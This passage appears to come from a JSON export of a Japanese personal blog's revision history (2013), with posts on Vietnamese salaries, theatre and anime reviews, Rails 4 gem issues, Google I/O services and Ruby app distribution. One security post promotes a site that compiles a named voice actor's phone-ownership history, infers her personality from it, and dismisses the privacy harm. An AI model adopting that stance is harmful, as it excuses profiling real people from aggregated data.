あればライフスタイルにもよるが結構いい感じだと思う。\r\n\r\nで。ホーチミンとかハイフォンとかで起業した日本人が日本人雇いたい!!!みたいな時にそういう給与レンジでオファーしてる事例をあんまりみないので、そりゃまあ誰も応募せんわと思う次第。","created_at":"2013-05-08T16:26:37.000Z","updated_at":"2013-05-08T16:26:37.000Z"},{"id":2411,"name":"text/ベトナムで働くとして","body":"%blog%\r\n\r\n- ものによるが現状物価日本の 1/10 〜 1/7 ぐらい\r\n - 都市部の年収が 2 千ドルぐらいなのでベトナム人の生活は日本人規準ではまだまだ結構苦しいということにはなる\r\n- 物価にせよ年収にせよまだまだ上昇傾向\r\n- 日本にも関わりを残すとすると、日本円換算での収入は為替で大幅に変動する\r\n- たまには日本に帰ってきたいよね\r\n\r\nとか考えると結局なんだかんだで最低でも日本で同じような職責を背負う時の 1/2 〜 2/3 ぐらいは無いとつらいよねと思う。対日本比 100% あればライフスタイルにもよるが結構いい感じだと思う。\r\n\r\nで。ホーチミンとかハイフォンとかで起業した日本人が日本人雇いたい!!!みたいな時にそういう給与レンジでオファーしてる事例をあんまりみないので、そりゃまあ誰も応募せんわと思う次第。","created_at":"2013-05-08T23:17:04.000Z","updated_at":"2013-05-08T23:17:04.000Z"},{"id":2412,"name":"text/レ・ミゼラブル見てきた","body":"%blog%\r\n\r\nいろいろあって見に行った。\r\n\r\n- 平野綾のエポニーヌは本当によかった\r\n - この人は本当に怪物的な俳優だと思う。どんな役でも演じられるほど器用でしかも主役級もやれる。\r\n - マーロン・ブロンドやエドワード・ノートンなどと同列に論じられるべき人だと思っている。\r\n- それ以外は何ひとつとしてよくなかった\r\n - 脚色は本当に最悪。このブログを読むようなアニオタに向けて解説すると横手美智子の脚本みたいな感じでした。もっと分かりやすく言えば RDG を想像してもらえばいい。\r\n - 絵作りも悪い。悪すぎる。適当な美術、ストーリー的にしかたないところはあるにせよ常に暗すぎて何も見えない、意味不明な映像を使用した演出。\r\n - 歌もかなり聞きとり辛いところが多かった\r\n - 平野綾以外演技正直微妙\r\n- 総じてダメなんですが平野綾が本当にいいので、その為だけに見る価値はあるんじゃないかと思いました。平野綾がいない日とか、平野綾が嫌いな人とかは見ないほうがいいと思います。\r\n- 隣の女が「私仮面ライ(省略されました)","created_at":"2013-05-10T10:36:55.000Z","updated_at":"2013-05-10T10:36:55.000Z"},{"id":2413,"name":"text/レ・ミゼラブル見てきた","body":"%blog%\r\n\r\nいろいろあって見に行った。\r\n\r\n- 平野綾のエポニーヌは本当によかった\r\n - この人は本当に怪物的な俳優だと思う。どんな役でも演じられるほど器用でしかも主役級もやれる。\r\n - マーロン・ブロンドやエドワード・ノートンなどと同列に論じられるべき人だと思っている。\r\n - プレビュー初日に平野綾よかったっていってる人が Twitter に 10 人ぐらいしかいなかったのでライフライナーはもう皆死んだのだと思う。\r\n- それ以外は何ひとつとしてよくなかった\r\n - 脚色は本当に最悪。このブログを読むようなアニオタに向けて解説すると横手美智子の脚本みたいな感じでした。もっと分かりやすく言えば RDG を想像してもらえばいい。\r\n - 絵作りも悪い。悪すぎる。適当な美術、ストーリー的にしかたないところはあるにせよ常に暗すぎて何も見えない、意味不明な映像を使用した演出。\r\n - 歌もかなり聞きとり辛いところが多かった\r\n - 平野綾以外演技正直微妙\r\n- 総じてダメなんですが平野綾が本当にいいので、その為だけに見る価値はあるんじゃないかと思いました。平野綾がいない日とか、平野綾が嫌いな人とかは見ないほうがいいと思います。\r\n- 隣の女が「私仮面ライ(省略されました)","created_at":"2013-05-10T10:39:02.000Z","updated_at":"2013-05-10T10:39:02.000Z"},{"id":2414,"name":"text/レ・ミゼラブル見てきた","body":"%blog%\r\n\r\nいろいろあって見に行った。\r\n\r\n- 平野綾のエポニーヌは本当によかった\r\n - この人は本当に怪物的な俳優だと思う。どんな役でも演じられるほど器用でしかも主役級もやれる。\r\n - マーロン・ブロンドやエドワード・ノートンなどと同列に論じられるべき人だと思っている。\r\n - プレビュー初日に行ったんですが平野綾よかったっていってる人が Twitter に 10 人ぐらいしかいなかったのでライフライナーはもう皆死んだのだと思う。\r\n- それ以外は何ひとつとしてよくなかった\r\n - 脚色は本当に最悪。このブログを読むようなアニオタに向けて解説すると横手美智子の脚本みたいな感じでした。もっと分かりやすく言えば RDG を想像してもらえばいい。\r\n - 絵作りも悪い。悪すぎる。適当な美術、ストーリー的にしかたないところはあるにせよ常に暗すぎて何も見えない、意味不明な映像を使用した演出。\r\n - 歌もかなり聞きとり辛いところが多かった\r\n - 平野綾以外演技正直微妙\r\n- 総じてダメなんですが平野綾が本当にいいので、その為だけに見る価値はあるんじゃないかと思いました。平野綾がいない日とか、平野綾が嫌いな人とかは見ないほうがいいと思います。\r\n- 隣の女が「私仮面ライ(省略されました)","created_at":"2013-05-10T11:25:55.000Z","updated_at":"2013-05-10T11:25:55.000Z"},{"id":2415,"name":"text/山岸和利の話","body":"%blog%\r\n\r\nはじめに: 10 万円の件に関しては流布してる説がだいたい真実です。以上。\r\n\r\n山岸和利の能力などについていろいろ言っている人がいるので、客観的に確かめられることと、友人同僚として個人的に知っていることと感じていることを書く。\r\n\r\n### 客観的に確かめられること\r\n[Github](https://github.com/ykzts) 見ろや、で済ませたいところですが、ここで見ていきましょう。\r\n\r\n全体的に JavaScript に詳しいことが伺えます。[node.js も無難に使えます](https://github.com/ykzts/node-gyazo)。 [XSLT というロストテクノロジーに精通していること](https://github.com/ykzts/coloring-xml.xslt)も伺えます\r\n\r\nRuby On Rails で作成された Web アプリケーションの開発を行なうことができ、 fastladder プロジェクトにコントリビュートしていたことがあります。\r\n\r\n- https://github.com/fastladder/fastladder/pull/151 (JavaScript)\r\n- https://github.com/fastladder/fastladder/pull/145 (Ruby)\r\n- https://github.com/fastladder/fastladder/pull/141 (CSS および Rails 固有の事情)\r\n- https://github.com/fastladder/fastladder/pull/134 (Ruby)\r\n- https://github.com/fastladder/fastladder/pull/132 (Ruby)\r\n- https://github.com/fastladder/fastladder/pull/129 (JavaScript HTML)\r\n\r\n他多数。カッコ内はその pull req で扱っている言語というか分野というかとにかくそういうのです。コードはかなり綺麗といっていい部類ではないかと思います。\r\n\r\n### 個人的に知っていること\r\n#### 技術的な面について\r\n山岸和利は僕の友人であり、同僚でもあります。山岸和利共々僕達が所属している企業については秘匿されています(10 万円の件が秘匿の理由です)。\r\n\r\n仕事の都合もあり最近は Rails アプリを書かされていることが多いですが本来は JavaScript と Python を好んでいます。いわゆる W3C 信者の類いで、様々な仕様を読むことを趣味としています。 W3C 関連の仕様と JavaScript の仕様に関しては精通していると言えると思います。\r\n\r\nその手の仕様屋にたまに見られるようにそれを実務に生かせないという傾向は全くありません。その場その場の事情に応じて必要な妥協をすることが出来ます。\r\n\r\n自動化テストに関する興味はほぼ全く無いように思われます。それが致命的にならない程度の作業の正確さがあると思います。\r\n\r\n#### 技術的な面以外について\r\nかなり若年であり、故に社会常識に疎い部分があります。これが 10 万円事案に巻き込まれた最大の原因だと思います。\r\n\r\n会話能力は通常のレベルで、口頭、メール、チャットなどの手段で問題なく意思疎通を取ることが出来ます(非エンジニアの人にはなかなか想像出来ないこととは思いますが、メール、チャットでは問題なく意思疎通出来るのに口頭ではまともに会話出来ない人とかザラにいるんですよ)。\r\n\r\n友人として遇するには気遣いなどについていくらか欠点がありますが、すくなくとも僕にとっては致命的ではないです。美少女が無惨に殺害されるアニメなどを非常に好むなど趣味趣向は若干アブノーマルな部類に入りますが、それがコミュニケーションにおいて致命的な障害になるタイプではありません。 GJ 部見て乙女新党のイベント行ってました。\r\n\r\n以上。","created_at":"2013-05-11T13:41:46.000Z","updated_at":"2013-05-11T13:41:46.000Z"},{"id":2416,"name":"text/**(本のジャンル)初心者向け","body":"%blog% **(本のジャンル)初心者向けみたいなエントリを書いて\r\n\r\n自分の若いころの思い出を若者に押し付けようとする老害というのが跡を断たないわけですが。僕が考えるに\r\n\r\n- Kindle で読める\r\n- 文庫版が安い\r\n- なるべく薄い\r\n\r\n本を勧めたほうがいいんじゃないのと思う次第です。実際には逆であることが多い。僕も自分の経験から言えば「中国経済史初心者はまずは[中国塩政史の研究](http://www.amazon.co.jp/dp/4589013371)から読めや」とか言いたくなるところなんですが、それじゃあどうしようもないわけです。\r\n\r\nですが現実的に**初心者向けみたなエントリを書く人は、自分と同じ体験をしてきた人から「うん、うん、そうだよね」みたいな反応を貰って自分の人生について他人から承認されたいだけですからどうにもならないし、若者はそういうエントリを真に受けてはいけない。","created_at":"2013-05-12T02:32:18.000Z","updated_at":"2013-05-12T02:32:18.000Z"},{"id":2417,"name":"text/翠星のガルガンティアのターゲットとかについて","body":"%blog% 翠星のガルガンティアのターゲットとか実際にやってることとかについて\r\n\r\n現在放送中のアニメ翠星のガルガンティアですが、公式サイトを見てみると、以下のようなことが書かれています。\r\n\r\n\u003e このアニメは企画段階から 10 代後半〜 20 代前半の年齢層、つまりこれから社会に出る、或いは社会に出たばかりの戸惑いを感じている若者たちへ向けたメッセージ(以後省略)\r\n\u003e ![コメント](http://ssig33.com/gyazo/897a7dd898f49009d454c27b3e6a371f.png)\r\n\u003e [コメント | シリーズ構成・脚本:虚淵 玄(ニトロプラス)](http://gargantia.jp/#introduce_comment_2)\r\n\r\nそこで実際にアニメで放送された内容を見ていくと、\r\n\r\n- 感謝の言葉を知らなかった主人公が「ありがとう」と言えるようになる話(3 話)\r\n- 病人との触れ合いのなかで多様性こそが社会の強さを作ると知る話(4 話)\r\n- 仕事をしたいという漠然とした意識を持ち、人がそれぞれにいろいろと仕事をすることで支え合い社会を作っていると実感する話(5 話)\r\n\r\nと幼児向けのアニメや公共広告機構の CM もびっくりの教育アニメとなっております。\r\n\r\nいくらなんでもこれおかしいだろと思う次第なわけです。コレようするにこのアニメ作ってる人達は「10 代後半から 20 代後半のアニオタは、まるで異星人であるかのように社会に馴染んでおらず全く常識がなく、人にありがとうという言葉も言えない程のどうしようもない人格で、社会の多様性についての見識などまるでなく、人と人が仕事を介して支えあっているというような認識もない人間である」と考えているということになるんじゃないかと。\r\n\r\nさすがにそんな奴いないだろ。「社会に出る、或いは社会に出たばかりの戸惑いを感じている若者」というのは上記のようなことは頭で分かっていても実践出来ないだとか、そういう問題なんじゃねーかとさすがに思うんです。\r\n\r\nいや俺が知らんだけでアニオタってそういう奴ばっかなのか、[山岸和利](http://ssig33.com/text/%E5%B1%B1%E5%B2%B8%E5%92%8C%E5%88%A9%E3%81%AE%E8%A9%B1)だってもうちょっとまともだぞ。\r\n\r\n「社会生活」 なる事柄について、何もかも理屈が分かっていないという人はさすがに少なくて、実践のレベルで苦労している人が多いのだと思いますし、このアニメでは実践の部分についてはエイミーという都合のいい美少女がやってきて解決してくれます。\r\n\r\nいくらなんでも若いアニオタ馬鹿にしすぎなんじゃないかと思います。\r\n\r\nちなみにここまでボロクソに言ったアニメを延々と見続けている理由は褐色阿澄佳奈がかわいいからです。","created_at":"2013-05-12T12:29:32.000Z","updated_at":"2013-05-12T12:29:32.000Z"},{"id":2418,"name":"text/自分語りが〜みたいな話","body":"%blog%\r\n\r\n〜〜のフリして自分語りするのがつまらないみたいのはよく言われるんですが、そういうことをやっている作品でそこそこ高評価を得ているものはいろいろあって、ド定番から言えばスターウォーズとかそんなんだろ。\r\n\r\n「自分語り」という行為がつまらないのではなくて、文章力など表現力の問題なので、「自分語りがつまらない人間」というのが「つまらない人間」だということだと思います。","created_at":"2013-05-13T04:45:57.000Z","updated_at":"2013-05-13T04:45:57.000Z"},{"id":2419,"name":"text/プログラマの話","body":"%blog%\r\n\r\n- [プログラミングはアプリを作ることの手段なのか](http://gin0606.hatenablog.com/entry/2013/05/13/215449)\r\n- [プログラミングはそれ自体が目的であっていい](http://d.hatena.ne.jp/mizchi/20130512/1368351397)\r\n- [プログラミングを勉強したい人が勉強する前にすべきこと](http://d.hatena.ne.jp/moto_maka/20130512/1368308092)\r\n- [プログラミングの話](http://rosylilly.hatenablog.com/entry/2013/05/13/231447)\r\n\r\nこれらの記事を読めば分かる通りプログラマにはこういう鬱陶しい話が大好きな人がとても多いので、そういう人達と楽しく付き合っていく自信が無いならプログラマなど目指さない方がいい。真面目に。\r\n\r\n僕はこういう話が大好きです。","created_at":"2013-05-13T23:37:24.000Z","updated_at":"2013-05-13T23:37:24.000Z"},{"id":2420,"name":"text/プログラマの話","body":"%blog%\r\n\r\n- [プログラミングはアプリを作ることの手段なのか](http://gin0606.hatenablog.com/entry/2013/05/13/215449)\r\n- [プログラミングはそれ自体が目的であっていい](http://d.hatena.ne.jp/mizchi/20130512/1368351397)\r\n- [プログラミングを勉強したい人が勉強する前にすべきこと](http://d.hatena.ne.jp/moto_maka/20130512/1368308092)\r\n- [プログラミングの話](http://rosylilly.hatenablog.com/entry/2013/05/13/231447)\r\n\r\nこれらの記事を読めば分かる通りプログラマにはこういう鬱陶しい話が大好きな人がとても多いので、そういう人達と楽しく付き合っていく自信が無いならプログラマなど目指さない方がいい。真面目に。\r\n\r\n「人それぞれ」で済む話にこうやって長文を書くのがプログラマです。\r\n\r\n僕はこういう話が大好きです。","created_at":"2013-05-13T23:40:45.000Z","updated_at":"2013-05-13T23:40:45.000Z"},{"id":2421,"name":"text/綺麗なコードか汚いコードかという話","body":"%blog%\r\n\r\n延々と議論されるテーマですが、実態として\r\n\r\n- 綺麗なコード: 動く\r\n- 汚いコード: 動かない\r\n\r\nであることが殆どだと思いますので、あえて汚くする理由がどこにもない。","created_at":"2013-05-14T04:44:43.000Z","updated_at":"2013-05-14T04:44:43.000Z"},{"id":2422,"name":"text/Rails 4 にして動かなかったやつ","body":"%blog%\r\n\r\nもう皆々様におかれましては Ruby 1.9 の廃絶が済んで、今月末とも言われる Rails 4 への移行の為 RC1 で準備をしていることと思います。\r\n\r\n〜〜 という新しい機能があるから 〜〜 のように対応すればいい みたいのは Web 上に沢山あるんだけど、 Rails 4 ではこれ動かんわ、というのがあんまり出てきていないように感じます。\r\n\r\n出てきてない理由単に「動かないものが殆どない」というのが理由なんだろうという気がしますが。\r\n\r\n手元で動かなかったの一個だけありました。\r\n\r\nどうも spork-rails が動きません。問題を認識している人達はいて、こういう [pull req](https://github.com/sporkrb/spork-rails/pull/13) が来てたりするんですが、なんとこの pull req のブランチは動きません。糞が。\r\n\r\nというわけでいろいろとを読むと [railstutorial/spork-rails](http://github.com/railstutorial/spork-rails) が動くっぽいということなので、 Gemfile には\r\n\r\n gem 'spork-rails', github: 'railstutorial/spork-rails'\r\n\r\nとでも書いておきましょう。\r\n\r\nこれでめでたしめでたしという訳には行かないなーと思っていて、こういう問題があるのに spork-rails の動向が 5 ヶ月ぐらい止まっているのが現状でして、もしかしたら Rails4 世代に移行するとともに spork 打ち捨てられるみたいなふうになるんじゃねーのかとかなんとか不安に思う次第です。","created_at":"2013-05-14T08:27:42.000Z","updated_at":"2013-05-14T08:27:42.000Z"},{"id":2423,"name":"text/北方謙三の『史記 武帝紀』","body":"%blog% 北方謙三の『史記 武帝紀』という小説について\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4758437262\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n最近文庫版が出て買いやすくなったこの小説ですが、読むにあたって一点知っておく必要があると思うことがあるのですが、その点言及してる人が全然いないので書いておきます。あるいはみんな分かってそういうこと書くのは無粋なだけなのかもしらんがまあいい。\r\n\r\n北方謙三は中島敦の大ファンであることを公表している作家です。本作はそういった事情の中で執筆されており、内容としては中島敦の『李陵』の BL 二次創作です。李陵知らないと後半あんま楽しめないと思います。\r\n\r\n[青空文庫に『李陵』ある](http://www.aozora.gr.jp/cards/000119/files/1737_14534.html)ので一読の後本作を読んだほうがいいと思います。","created_at":"2013-05-16T23:59:51.000Z","updated_at":"2013-05-16T23:59:51.000Z"},{"id":2424,"name":"text/Google I/O で発表されたサービスについて","body":"%blog%\r\n\r\n使ってから言及しろと思うわけです。\r\n\r\n### 新しい Google Play Music\r\nUI が Windows 8 っぽくなって猛烈に重くなりました。スクロールがガクガクで曲再生しながらスクロールしたらブラウザ(Google Chrome)落ちた。 Android アプリのほうはどうなってるのか知らん。\r\n\r\n例によってアメリカからしか新機能は使えません。アメリカ人以外からは Web がゴミになっただけ。\r\n\r\n### 新しい Google+\r\nGoogle は使い辛い SNS の頂点を極めようとしているのだと思います。幅の広いシングルカラムは素早く読むことが出来、幅の狭いカラムが複数並んでいるものは欧米人が視覚的には好むが実際には読み辛いことが各種の実験から知られています。\r\n\r\nつまり新しい Google+ は見栄えだけをとり実質的な使いやすさはゴミ箱に捨てているということになります。実際使ってみると分かりますが驚異的な使い辛さです。\r\n\r\n### 新しい Hangout\r\nGoogle Talk が Hangout とブランド的に統合されました。ブランド的に統合されたというだけで、システム的にメッセージなどが同じところに乗るようになったというわけではないので、意味不明の度合いはさらに激しく上がっています。グループチャットの仕組みは極めて分かりづらく、同じようなメンバーが入っているチャットを複数作ってしまうなどといった事故が起きがちです。\r\n\r\nVideo Call 、つまり従来の Hangout と呼ばれていたものについては大幅に劣化しました。ビデオチャットアプリのはずなのに、ビデオの共有が多くの環境で正しく行なえません。いろいろと検証したところ Windows 上の Chrome ぐらいでしかまともに動かないようです。左右反転されて共有される、複数の入力ソースがある場合それが激しく点滅される、全くビデオが送信されない、全くビデオを受信できないという事態が頻発します。\r\n\r\nまた「キーボード入力中は音声をミュートする」というおせっかいな機能がついたせいで、テキストチャットとビデオチャットを平行してやるということが困難になりました。 Hangout の利点としてビデオチャットに自分のパソコンの画面を簡単に流しこめるというのがあって、これを使ってデスクトップの様子を共有しながらテキストチャットをやるというのが出来て非常に楽しかったのですが、テキストチャットをずっとやると音声が事実上ずっと流れなくなるので著しく不便です。\r\n\r\n### 総評\r\n近年 Google が作る多くの Web アプリケーションと同様ゴミです。","created_at":"2013-05-17T00:27:17.000Z","updated_at":"2013-05-17T00:27:17.000Z"},{"id":2425,"name":"text/セキュリティの話","body":"%blog%\r\n\r\n### 実際に危険な例\r\n- データの変更が出来るドメインに XSS がある\r\n- 秘匿されたデータが閲覧できるドメインに XSS がある\r\n- 声優の住所を公開するサイトがある\r\n\r\n### 実際には危険ではない例\r\n- ameblo.jp に XSS がある\r\n- 声優の携帯電話の情報をブログからまとめて公開するサイトがある\r\n\r\n後者は大して危険ではないですし、こういうものを危険だ危険だといっていると真に危険なものについて話している人の声が届くべきところに届くことになります。\r\n\r\nところで実際のところ、インテリジェンスなるもの大半は公開情報を検索可能な形に編集し意味のあるデータを作成する行為であり、声優の携帯電話に対してインテリジェンスの暴力を声優に翳すなと言う批判は成立するのだと思います。\r\n\r\n例えば[鹿野優以の使っていた携帯電話の情報をまとめること](http://seiyunokeitaidenwa.ssig33.com/seiyu/%E9%B9%BF%E9%87%8E%E5%84%AA%E4%BB%A5)、鹿野優以は\r\n\r\n- 平均 190 日に 1 回ぐらい携帯電話を買っている\r\n- ドコモとソフトバンクの 2 台持ちである\r\n- iPhone は 2 年に一回、ドコモの携帯電話は 1 年に 1 回以上買い替えている\r\n - 飽きっぽい性格であることがなんとなく伺える\r\n\r\nという人物であることが明らかになります。これは単にデータだけあってもなかなか得られない知見で、編集し検索可能になった時点で明らかになることです。\r\n\r\n鹿野優以が自身のこうしたパーソナリティについて公開することを企図していたかというと、彼女のエキセントリックな性格を加味しても、そうではないと僕は推測します。よってこれはインテリジェンスの暴力とは言えるかもしれない。\r\n\r\nでもそんなのは程度問題であって、携帯ぐらいどうでもいいだろ、ツイートから住所推定してまとめてるわけじゃねえんだ、と思っています。\r\n\r\n以上です。","created_at":"2013-05-21T11:58:55.000Z","updated_at":"2013-05-21T11:58:55.000Z"},{"id":2426,"name":"text/セキュリティの話","body":"%blog%\r\n\r\n### 実際に危険な例\r\n- データの変更が出来るドメインに XSS がある\r\n- 秘匿されたデータが閲覧できるドメインに XSS がある\r\n- 声優の住所を公開するサイトがある\r\n\r\n### 実際には危険ではない例\r\n- ameblo.jp に XSS がある\r\n- 声優の携帯電話の情報をブログからまとめて公開するサイトがある\r\n\r\n後者は大して危険ではないですし、こういうものを危険だ危険だといっていると真に危険なものについて話している人の声が届くべきところに届かないことになります。\r\n\r\nところで実際のところ、インテリジェンスなるもの大半は公開情報を検索可能な形に編集し意味のあるデータを作成する行為であり、声優の携帯電話に対してインテリジェンスの暴力を声優に翳すなと言う批判は成立するのだと思います。\r\n\r\n例えば[鹿野優以の使っていた携帯電話の情報をまとめること](http://seiyunokeitaidenwa.ssig33.com/seiyu/%E9%B9%BF%E9%87%8E%E5%84%AA%E4%BB%A5)、鹿野優以は\r\n\r\n- 平均 190 日に 1 回ぐらい携帯電話を買っている\r\n- ドコモとソフトバンクの 2 台持ちである\r\n- iPhone は 2 年に一回、ドコモの携帯電話は 1 年に 1 回以上買い替えている\r\n - 飽きっぽい性格であることがなんとなく伺える\r\n\r\nという人物であることが明らかになります。これは単にデータだけあってもなかなか得られない知見で、編集し検索可能になった時点で明らかになることです。\r\n\r\n鹿野優以が自身のこうしたパーソナリティについて公開することを企図していたかというと、彼女のエキセントリックな性格を加味しても、そうではないと僕は推測します。よってこれはインテリジェンスの暴力とは言えるかもしれない。\r\n\r\nでもそんなのは程度問題であって、携帯ぐらいどうでもいいだろ、ツイートから住所推定してまとめてるわけじゃねえんだ、と思っています。\r\n\r\n以上です。","created_at":"2013-05-21T12:00:25.000Z","updated_at":"2013-05-21T12:00:25.000Z"},{"id":2427,"name":"text/セキュリティの話","body":"%blog%\r\n\r\n### 実際に危険な例\r\n- データの変更が出来るドメインに XSS がある\r\n- 秘匿されたデータが閲覧できるドメインに XSS がある\r\n- 声優の住所を公開するサイトがある\r\n\r\n### 実際には危険ではない例\r\n- ameblo.jp に XSS がある\r\n- 声優の携帯電話の情報をブログからまとめて公開するサイトがある\r\n\r\n後者は大して危険ではないですし、こういうものを危険だ危険だといっていると真に危険なものについて話している人の声が届くべきところに届かないことになります。\r\n\r\nところで実際のところ、インテリジェンスなるもの大半は公開情報を検索可能な形に編集し意味のあるデータを作成する行為であり、声優の携帯電話に対してインテリジェンスの暴力を声優に翳すなと言う批判は成立するのだと思います。\r\n\r\n例えば[鹿野優以の使っていた携帯電話の情報をまとめること](http://seiyunokeitaidenwa.ssig33.com/seiyu/%E9%B9%BF%E9%87%8E%E5%84%AA%E4%BB%A5)により、鹿野優以は\r\n\r\n- 平均 190 日に 1 回ぐらい携帯電話を買っている\r\n- ドコモとソフトバンクの 2 台持ちである\r\n- iPhone は 2 年に一回、ドコモの携帯電話は 1 年に 1 回以上買い替えている\r\n - 飽きっぽい性格であることがなんとなく伺える\r\n\r\nという人物であることが明らかになります。これは単にデータだけあってもなかなか得られない知見で、編集し検索可能になった時点で明らかになることです。\r\n\r\n鹿野優以が自身のこうしたパーソナリティについて公開することを企図していたかというと、彼女のエキセントリックな性格を加味しても、そうではないと僕は推測します。よってこれはインテリジェンスの暴力とは言えるかもしれない。\r\n\r\nでもそんなのは程度問題であって、携帯ぐらいどうでもいいだろ、ツイートから住所推定してまとめてるわけじゃねえんだ、と思っています。\r\n\r\n以上です。","created_at":"2013-05-21T12:06:31.000Z","updated_at":"2013-05-21T12:06:31.000Z"},{"id":2428,"name":"text/セキュリティの話","body":"%blog%\r\n\r\n### 実際に危険な例\r\n- データの変更が出来るドメインに XSS がある\r\n- 秘匿されたデータが閲覧できるドメインに XSS がある\r\n- 声優の住所を公開するサイトがある\r\n\r\n### 実際には危険ではない例\r\n- ameblo.jp に XSS がある\r\n- Twitter クライアントの Consumer Key と Consumer Secret を第三者が取得できる\r\n- 声優の携帯電話の情報をブログからまとめて公開するサイトがある\r\n\r\n後者は大して危険ではないですし、こういうものを危険だ危険だといっていると真に危険なものについて話している人の声が届くべきところに届かないことになります。\r\n\r\nところで実際のところ、インテリジェンスなるもの大半は公開情報を検索可能な形に編集し意味のあるデータを作成する行為であり、声優の携帯電話に対してインテリジェンスの暴力を声優に翳すなと言う批判は成立するのだと思います。\r\n\r\n例えば[鹿野優以の使っていた携帯電話の情報をまとめること](http://seiyunokeitaidenwa.ssig33.com/seiyu/%E9%B9%BF%E9%87%8E%E5%84%AA%E4%BB%A5)により、鹿野優以は\r\n\r\n- 平均 190 日に 1 回ぐらい携帯電話を買っている\r\n- ドコモとソフトバンクの 2 台持ちである\r\n- iPhone は 2 年に一回、ドコモの携帯電話は 1 年に 1 回以上買い替えている\r\n - 飽きっぽい性格であることがなんとなく伺える\r\n\r\nという人物であることが明らかになります。これは単にデータだけあってもなかなか得られない知見で、編集し検索可能になった時点で明らかになることです。\r\n\r\n鹿野優以が自身のこうしたパーソナリティについて公開することを企図していたかというと、彼女のエキセントリックな性格を加味しても、そうではないと僕は推測します。よってこれはインテリジェンスの暴力とは言えるかもしれない。\r\n\r\nでもそんなのは程度問題であって、携帯ぐらいどうでもいいだろ、ツイートから住所推定してまとめてるわけじゃねえんだ、と思っています。\r\n\r\n以上です。","created_at":"2013-05-21T13:38:10.000Z","updated_at":"2013-05-21T13:38:10.000Z"},{"id":2429,"name":"text/欧米では〜","body":"%blog%\r\n\r\n### 障害者差別はない\r\nんなわけあるかアマルフィのレストランで車椅子の奴追い出してるの見たことあるぞ。\r\n\r\n### 安い店では店員は横暴 \r\nそんなことなかなかないし、横暴だとしたら日本人のあなたが人種差別されてます、フランスとかではそういうこと多いです。","created_at":"2013-05-22T10:54:44.000Z","updated_at":"2013-05-22T10:54:44.000Z"},{"id":2430,"name":"text/Web アプリ配布","body":"%blog% Web アプリケーションを配布する\r\n\r\nWeb アプリケーションを配布するにあたっていろいろとあって、 PHP スクリプトが圧縮されていたり、 Rails のプロジェクトディレクトリが圧縮されてたり、プロジェクトディレクトリを git clone してこいだとか、だいたいそんな感じじゃないかと思います。\r\n\r\nこれは実際使用者にしてみればめんどくさくて、そのプラットフォーム毎の作法というのを覚えなければいけなかったりする。それくらい覚えろやカスといえばまあそうなんですが、そこをなんとかしたい。\r\n\r\nところで僕は Ruby を使って Web アプリケーションを作りますので、 gem install web-application とかで一発でアプリケーションをインストールできて、 web-application コマンドとかを叩けば起動できるとかだと嬉しいなあと思っていました。\r\n\r\nというわけでそういうの作りました\r\n\r\nhttps://github.com/ssig33/pig-media-server \r\nhttp://rubygems.org/gems/pig-media-server\r\n\r\n gem install pig-media-server\r\n\r\nでインストール出来て\r\n\r\n $ pig-media-server server {PORT}\r\n\r\nとかコマンド打てば Web アプリケーションが起動します。 Unicorn など rack 用 Web サーバーを使用したい Ruby の事情に詳しい人の場合はいい感じにプロジェクトディレクトリを作って\r\n \r\n require 'pig-media-server'\r\n require 'pig-media-server/web'\r\n run PigMediaServer::Web\r\n\r\nとか config.ru に書いておけばいいようになってます。\r\n\r\nこの仕組みを実現する為に、 JS と CSS をそれぞれ coffee テンプレートと scss テンプレート(と erb テンプレート)にして [gem の中にぶっこんでます](https://github.com/ssig33/pig-media-server/tree/master/lib/pig-media-server/views)。故にこれらのアセットを配信するにあたって Sinatra アプリケーションを経由する形になってしまいます。個人がインストールして使うものなのでそこまでそれは問題にならないですし、いざとなれば前段においた nginx とかでキャッシュしてもらえればという感じです。\r\n\r\nちなみにこのアプリケーションは大量に動画を録画してそれを一切消さないで保存するという人が簡単に動画を管理し、ブラウザ経由で視聴したり Podcast として受信したりする為のアプリケーションです。今のところインストールと起動までは簡単にできるんですがそれ以外の環境構築とかが簡単にできるようになっているわけではないので、すぐに使えるというわけではないです。\r\n\r\nこういう感じに使用者に優しい Web アプリケーションの配布を考えてみましたという話です。","created_at":"2013-05-30T13:51:17.000Z","updated_at":"2013-05-30T13:51:17.000Z"},{"id":2431,"name":"text/Web アプリ配布","body":"%blog% Web アプリケーションを配布する\r\n\r\nWeb アプリケーションを配布するにあたっていろいろとあって、 PHP スクリプトが圧縮されていたり、 Rails のプロジェクトディレクトリが圧縮されてたり、プロジェクトディレクトリを git clone してこいだとか、だいたいそんな感じじゃないかと思います。\r\n\r\nこれは実際使用者にしてみればめんどくさくて、そのプラットフォーム毎の作法というのを覚えなければいけなかったりする。それくらい覚えろやカスといえばまあそうなんですが、そこをなんとかしたい。\r\n\r\nところで僕は Ruby を使って Web アプリケーションを作りますので、 gem install web-application とかで一発でアプリケーションをインストールできて、 web-application コマンドとかを叩けば起動できるとかだと嬉しいなあと思っていました。\r\n\r\nというわけでそういうの作りました\r\n\r\nhttps://github.com/ssig33/pig-media-server \r\nhttp://rubygems.org/gems/pig-media-server\r\n\r\n gem install pig-media-server\r\n\r\nでインストール出来て\r\n\r\n $ pig-media-server server {PORT}\r\n\r\nとかコマンド打てば Web アプリケーションが起動します。 Unicorn など rack 用 Web サーバーを使用したい Ruby の事情に詳しい人の場合はいい感じにプロジェクトディレクトリを作って\r\n \r\n require 'pig-media-server/web'\r\n run PigMediaServer::Web\r\n\r\nとか config.ru に書いておけばいいようになってます。\r\n\r\nこの仕組みを実現する為に、 JS と CSS をそれぞれ coffee テンプレートと scss テンプレート(と erb テンプレート)にして [gem の中にぶっこんでます](https://github.com/ssig33/pig-media-server/tree/master/lib/pig-media-server/views)。故にこれらのアセットを配信するにあたって Sinatra アプリケーションを経由する形になってしまいます。個人がインストールして使うものなのでそこまでそれは問題にならないですし、いざとなれば前段においた nginx とかでキャッシュしてもらえればという感じです。\r\n\r\nちなみにこのアプリケーションは大量に動画を録画してそれを一切消さないで保存するという人が簡単に動画を管理し、ブラウザ経由で視聴したり Podcast 